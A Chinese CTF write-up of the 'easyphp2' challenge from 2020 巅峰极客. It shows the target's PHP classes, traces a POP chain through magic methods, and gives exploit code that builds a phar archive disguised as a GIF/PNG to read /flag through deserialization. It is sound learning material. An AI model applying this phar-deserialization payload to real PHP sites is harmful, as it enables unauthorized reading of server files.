[2020巅峰极客]easyphp2

时间:2020年9月26日

题目来源:2020巅峰极客

解题过程: 这题给了我一个很大的教训!!那就是基本技术不够扎实。

这题刚开始拿到看到url上action=login就感觉会有文件包含的漏洞,但是一直尝试用php://filter不管用。。

后面吃饭去了,回来用一些文件关键字fuzz了一下发现有action=read,进入read.php,注释有classes.php

读取源码:

<?php
class User
{
    public $id;
    public $age = null;
    public $nickname = null;
    public $backup;
​
    public function __toString()
    {
        var_dump($this->nickname);
        var_dump($this->backup);
        $this->nickname->backup = $this->backup;
        $user = new User();
        $user->id = 1;
        $user->nickname = 2;
        return serialize($user);
    }
​
    public function read()
    {
        $reader = new reader();
        $reader->read($_POST['filename']);
    }
}
​
class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser = "p3rh4ps";
    public $dbpass = "p3rh4ps";
    public $database = "p3rh4ps";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct($token)
    {
        $this->token = $token;
    }
​
    public function __destruct()
    {
        echo $this->token;
    }
}
​
class Upload
{
    public $flag;
    public $file;
    public $ext;
​
    function __wakeup()
    {
        $this->flag = 1;
    }
}
​
​
class Reader
{
    public $filename;
    public $result;
    public function read($filename)
    {
        if (preg_match("/flag/i", $filename)) {
            die("想多了嗷");
        }
        if (preg_match("/sh/i", $filename)) {
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i", $filename)) {
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name, $val)
    {
        echo file_get_contents($val);
    }
}

知道是phar反序列号,但是读取flag的触发条件file_get_contents($val)需要找一条pop链。。

由于理解不到位,一直找了半天,中间少了一条但还是在本地打通了,结果就是在服务器上一直没有打通。。。

就之前一直没找过pop链(遇到了不想去找,老懒狗了),所以找pop链及其不熟练,导致了一下午做一道比较简单的题到比赛结束没做出来。反思!!

这题的pop链大致如下:

入口在read.php里面的
class Read()->echo file_get_contents($filename);
传入一个phar反序列化文件
phar反序列化文件的内容是先new 一个user和一个Reader
​
$u = new User;
$u = new Reader;
设置好User的属性好让后面的toString触发读取flag
$u->backup = '/flag';
$u->nickname = $r;
​
然后再new一个dbCtrl
new dbCtrl($u)
让dbCtrl的魔法方法__construct生成token并让__destruct()echo一下触发User类中的toString魔法方法
这样在toString里面有:
        $this->nickname->backup = $this->backup;
这样会出发Reade里面的__set魔法方法,并读取flag的内容,具体exp:
$r = new Reader;
$u = new User;
$u->backup = '/flag';
$u->nickname = $r;
$d = new dbCtrl($u);
​
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('GIF8<?php __HALT_COMPILER();');
​
​
$phar->setMetadata($d);
$phar->stopBuffering();
system('mv test.phar test1.png');
​

希望自己更加努力!


我啥也不会!